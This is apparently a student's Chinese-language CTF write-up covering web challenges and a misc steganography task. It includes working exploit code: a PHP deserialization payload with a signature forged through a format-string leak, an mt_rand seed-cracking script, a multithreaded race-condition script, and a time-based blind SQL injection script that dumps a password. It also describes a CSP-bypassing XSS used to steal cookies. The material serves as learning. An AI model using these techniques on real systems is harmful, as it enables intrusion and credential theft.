前言

题目越来越难了,发出了菜鸡的叫声:“嘤”。

Web

序列之争

进去以后F12看源码,看到注释里有提示。

于是按照提示访问/source.zip。下载以后得到源码。源码很长这里就不贴出来了,可以看出是一道php反序列化的题目,只有当后台判定我为第一名时,才能拿到flag。而玩了玩游戏,无论如何最高都只能到第2名,嘤,很有序列之争原作剧情的味道。

解题的开始首先找到unserialize()函数。

这里首先把cookie里的monsterbase64解码,然后判断长度,如果>32,则取出后32位作为签名$sign,然后把前面作为$monsterdata的值。如何才能触发unserialize()函数呢,要让$monsterdata加上盐值$encryptkey进行md5之后与$sign进行比较,如果相等则可以将$monsterdata反序列化。

格式化字符串漏洞

然后在源码里寻找$encryptkey的来源。

这里把我们输入的玩家名称$playname$this->encryptkey放到了一个循环里,先sprintf()输出,然后循环md5加密计算得出类Monster里的$encryptkey。请仔细看看!这里的sprintf(),竟然没有做任何的防护,连续进行了两次循环,按道理来说第二次循环是没有必要的。我们如果把$playname赋值成%s,就会覆盖原字符串的%s,从而在第二次循环的时候,输出$this->encryptkey

做出来之后从 🍆 学长那里了解到,这个就是格式化字符串漏洞

在这里偷了个懒,固定用户名为admin,先把md5的盐值计算出来。

<?php
$encryptkey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';
$sign = '';
$playname = 'admin';
$data = [$playname , $encryptkey];
foreach($data as $key => $value){
    $sign .= md5($sign . $value);
}
echo $sign.'<br>';
# $sign=21232f297a57a5a743894a0e4a801fc359ff7bee4550cd5c900f9874e016b2b3
?>

寻找突破口

我们的最终目的是让我们的排名变为第一名。在这之前首先要明白反序列化漏洞的危害在哪里,反序列化的漏洞就在于php内置的一些魔术方法,这些魔术方法会在某些条件被触发以后自动调用,而一旦反序列化函数的参数可以人为操控以后,就会造成不可预知的后果。我能明白这些还要感谢 🍆 学长。

翻找一番后,发现唯一的魔术方法__destruct()。在对象被销毁以后,会将$this->rank赋值给$_SESSION['rank'],而在下一次对象被创建时,会将$_SESSION['rank']的值赋给$this->rank

上 Payload

于是我们的解题思路就是,当反序列化时,将Rank类里的rank赋值为1。手写了几次payload都不行,给 🍆 学长看,才知道原来反序列化是要写exp的,然后写出了exp如下。

<?php
class Rank
{
    private $rank = 2;

    public function __construct()
    {
        $this->rank = 1;
    }
}
$test = new Rank();
$y = serialize($test);
$z = base64_encode($y.md5($y.$sign));
echo$z;
# $z=Tzo0OiJSYW5rIjoxOntzOjEwOiIAUmFuawByYW5rIjtpOjE7fWFlNjY1M2UyY2IwZTgzYzE3ZmU4NDkwZmQ0MmE3M2Nl
?>

这里还有一个小插曲,我用在线的base64加密,无数次以后都失败,然后才想起来可以在exp里直接一条龙把base64也解决了。然后改cookie,就能拿到flag啦!

I’m the Champion!

能做出来这道题也是非常感谢 🍆 学长了,他无数次耐心解答我的各种愚蠢问题,我对php反序列化的理解终于不是浮于表面了。

二发入魂

这题有关php5伪随机函数的缺陷,又是社工做题法,在群里卑微求hint之后,hammer学长这么说

又结合hammer学长在校外群里提到的

于是Google搜索两个随机数+拿到seed+php5,并且把搜索时间限定在一年内,找到了这篇文章。有兴趣的同学们可以去研究一下原理。用 2 个随机值破解 PHP 的 MT_RAND 函数

了解以后,我们只要选取间隔226的两个随机数,然后跑一跑文章里的脚本,就可以出flag了,上脚本。

import requests
import re
import sys
import os
url = 'https://twoshot.hgame.n3ko.co/'
cookie = 'PHPSESSID=2jp1b8vaeq7imfm4bgqntm0do1'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36',
    'cookie': cookie,
}
p = requests.get(url+'random.php?times=228', headers=headers)
randnum = re.findall(r'\d*', p.text)[1:-2:2]
firstnum = randnum[0]
lastnum = randnum[227]
content = os.popen("python3 ./reverse_mt_rand.py " +
                   firstnum+' '+lastnum+' 0 0').read()
q = requests.post(url+'/verify.php', headers=headers, data={'ans': content})
print(q.text)

cosmos 的二手市场

开局五十万,道具全靠买 。要想flag,赔完全家产。

你注意到,出售货物需要3%的手续费,而你要赚取1个亿一定是我打开方式错了,等我重启一下。问了Roc学长,知道这是一个条件竞争的题目。大意就是,后台以线性的方式执行代码,而这时用户可以用多线程访问程序,趁服务器没反应过来形成竞争。

具体的例子就是,如果上传文件时,服务器先将文件保存,然后再检验文件比如说后缀名,判断文件是否危险,然后再作是否删除的判断。这个时候,假如用户上传了一个木马后,在服务器保存了文件但还没删除的间隙里,开多线程疯狂访问这个文件,那么就有可能成功执行文件,之后文件是否被删除就不重要了,因为我们已经成功侵入了对方服务器。

所以这道题可以在之间形成竞争,两边都开多线程,的线程更多一些,不断刷钱,最终就能刷到一个亿。直接上脚本。

import requests
import threading
import queue

threads = 100
q = queue.Queue()
m = queue.Queue()

url = "http://121.36.88.65:9999"
headers = {
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'User-Agent': 'Chrome/71.0.3578.98 Safari/537.36 Gecko/20100101 Firefox/72.0',
    'Cookie': 'PHPSESSID=ij0tv8hqehlokhmn8uij3n4rlv',
}
data = {'code': '800002', 'amount': '2'}

for i in range(1000000):
    q.put(i)

for j in range(1000000):
    m.put(j)

def post():
    while not q.empty():
        q.get()
        r = requests.post(url+'/API/?method=solve',
                          headers=headers, data=data)
        print(r.text)

def buy():
    while not q.empty():
        m.get()
        p = requests.post(url+'/API/?method=buy',
                          headers=headers, data=data)
        print(p.text)


if __name__ == '__main__':
    for j in range(50):
        t2 = threading.Thread(target=buy)
        t2.start()

    for i in range(threads):
        t = threading.Thread(target=post)
        t.start()

    for j in range(50):
        t2.join()

    for i in range(threads):
        t.join()

我们拥有了一个亿,赢得了 cosmos 的认可!快去getflag吧!

但这道题不是我自己想出来的,还是多亏了Roc学长的提示,于是我又多问了一句,为什么会想到条件竞争商城条件竞争产生的主要题型。

Cosmos 的留言板-2

首先注册,登录,随便留个言,看上去是个防御坚固的留言板呢。

考虑到上周的留言板是SQL注入,这周应该也是了,但是注入点在哪呢?我们试着删除看看。

这里出现了一个delete_id,可能是这题唯一的注入点了。这时,社工做题法开始发挥了它的作用,看到xiaoyu在群里说这题写脚本时间盲注注了很长时间,然后 🍆 这么说

好,那么可以确定,这题就是在delete_id这里进行时间盲注了。网上找了时间盲注的脚本,都试了个遍,不太行,最后决定自己动手写脚本。用去年HGAME Week3Annevi学长的时间盲注脚本作为模板,适当的更改了一些内容。学长的脚本里用的是and,可是我试了几次都不太行,问了Roc学长以后,改成or

准备阶段

首先是准备阶段。

# coding:utf-8
import string
import requests
import datetime
import time

headers = {
    'Cookie': 'PHPSESSID=8favb1co6jkhe406311n8qjjd7',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
}
url = 'http://139.199.182.61:19999/index.php?method=delete&delete_id='

爆数据库

然后开始爆数据库,先爆长度,再爆数据库名。因为payload用在url里,所以我把空格都用+号替代,最后再用#url编码%23做结尾,注释掉后面的所有语句。

def Get_Database():
    for i in range(20):
        print("Finding the database length............"+str(i))
        payload = "0+or+if(length(database())="+str(i)+",sleep(5),0)%23"
        time = Get_Data(payload)
        if (time >= 4.5):
            databaseLen = i
            print("[*] The database length is " + str(i))
            break
    database = ''
    print("Finding the database Name............")
    for i in range(databaseLen):
        for j in range(33, 127):
            payload = "0+or+if(ascii(substr(database(),"+str(i+1)+",1))="+str(j)+",sleep(5),0)%23"
            time = Get_Data(payload)
            if time >= 4.5:
                database += chr(int(j))
                print(database)
                continue
    print("[*] The current database is " + database)

爆出来数据库的名字是babysql

爆表

然后爆表长度,爆表名。

def Get_Tables():
    for i in range(20):
        print("Finding the tables length............"+str(i))
        payload = "0+or+if(length((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1,1))="+str(i)+",sleep(5),0)%23"
        time = Get_Data(payload)
        if (time >= 4.5):
            tableLen = i
            print("[*] The tables length is " + str(i))
            break
    table = ''
    print("Finding the table Name............")
    for i in range(tableLen):
        for j in range(33, 127):
            payload = "0+or+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)%23"
            time = Get_Data(payload)
            if time >= 4.5:
                table += chr(int(j))
                print(table)
                continue
    print("[*] The current table_name is " + table)

爆出表名user

爆列

然后是爆列长度,爆列名。

def Get_Columns():
    for i in range(20):
        print("Finding the column length............"+str(i))
        payload = "0+or+if(length((select+column_name+from+information_schema.columns+where+table_name='user'+limit+1,1))="+str(i)+",sleep(5),0)%23"
        time = Get_Data(payload)
        if (time >= 4.5):
            columnLen = i
            print("[*] The column length is " + str(i))
            break
    column = ''
    print("Finding the column Name............")
    for i in range(columnLen):
        for j in range(33, 127):
            payload = "0+or+if(ascii(substr((select+column_name+from+information_schema.columns+where+table_name='user'+limit+1,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)%23"
            time = Get_Data(payload)
            if time >= 4.5:
                column += chr(int(j))
                print(column)
                continue
    print("[*] The current column_name is " + column)

爆出来一个列名name,因为要登录上cosmos的账号,所以我们应该还需要一个password,所以把limit后面的1改为2,就可以爆出第二列,果然是password

爆字段

然后就是爆出字段名就成。先爆name。这一段代码被改过去爆password了,所以并没有保存,但思路是一样的,爆出来namecosmos

然后爆password,这里我操作不当,爆出了我自己的密码,2333,然后求助Roc学长,发现我竟然忘记了where语句!蠢哭了,那么便简单了,爆就是了。

def Get_Value():
    for i in range(40):
        print("Finding the password length............"+str(i))
        payload = "0+or+if(length((select+password+from+user+where+name='cosmos'))="+str(i)+",sleep(5),0)%23"
        time = Get_Data(payload)
        if (time >= 4.5):
            passwordLen = i
            print("[*] The password length is " + str(i))
            break
    password = ''
    print("Finding the password............")
    for i in range(passwordLen):
        for j in range(33, 127):
            payload = "0+or+if(ascii(substr((select+password+from+user+where+name='cosmos'),"+str(i+1)+"))="+str(j)+",sleep(5),0)%23"
            time = Get_Data(payload)
            if time >= 4.5:
                password += chr(int(j))
                print(password)
                continue
    print("[*] The password is " + password)

这里爆了好久好久,谁能想到password是长为28个字符的无规律字母和数字的组合!

账号密码,我们去登陆吧!

成功拿到flag

Cosmos 的聊天室 2.0

首先看题目。

限制策略是什么?我们先看看题目吧。一样的配方,先尝试执行xss。发现它过滤了script,但我可以双写绕过,scriscriptpt即可。当我尝试执行js代码时收到了这样的控制台报错。

然后看一下Response Header,发现是script-src 'self',default-src 'self'。百度了一下知道是CSP安全内容策略,不会执行内联js代码,也不会访问任何外域的链接,也就是说,这一条策略,完完全全的封住了我们通过onerror之类的事件处理或者src=javascript:这样子执行js代码了。

只好去找kevin学长,学长说,需要利用同域的资源,还提示我分析一下浏览器的行为,试着寻找突破口。我发现当我点击发送的时候,浏览器会向/send?message=输入这里发包,但我仍然没想到利用iframe套娃

后来在Roc学长的同样的提示下,我才恍然大悟,原来/send?message=这个网站没有CSP,所以可以通过iframe构造一个新的浏览器窗口,地址就是/send?message=输入,同时,在输入这里构造xss语句,就可以成功弹窗啦。

原来做的时候只想着要用script直接注入,忘记还有img之类的更简单的做法,所以我的payload里有一堆三写script。为什么是三写呢?为了在新窗口里可以成功构造出scripturl里必须是双写,而发送的时候还会过滤一次,所以还要在多写一次。

然后去xss平台里等cookie

cookie,访问/flag,拿到flag

Misc

web做累了来misc水水分。

三重隐写

先解压。

随便用记事本打开看看,在上裹与手抄卷.mp3里看到了

然后看名为you know LSB.wav文件,Google一下.wav+LSB+ctf,找到slienteye这个工具,直接上工具。

拿上key,百度一下stegano+mp3,觉得应该会是MP3Stego,于是上工具。

拿到flag.7z的压缩包密码,于是去解压。

解压出来一个flag.crypto,想到还给了我一个软件安装器,于是安装起来,把flag.crypto文件放里面,还要密码,看看什么东西还没有用到,嗷,还有一个封面是条形码的.mp3文件,放wsl里用foremost提取出来封面图,放到在线网站里扫描。

输入密码,解密。

flag到手。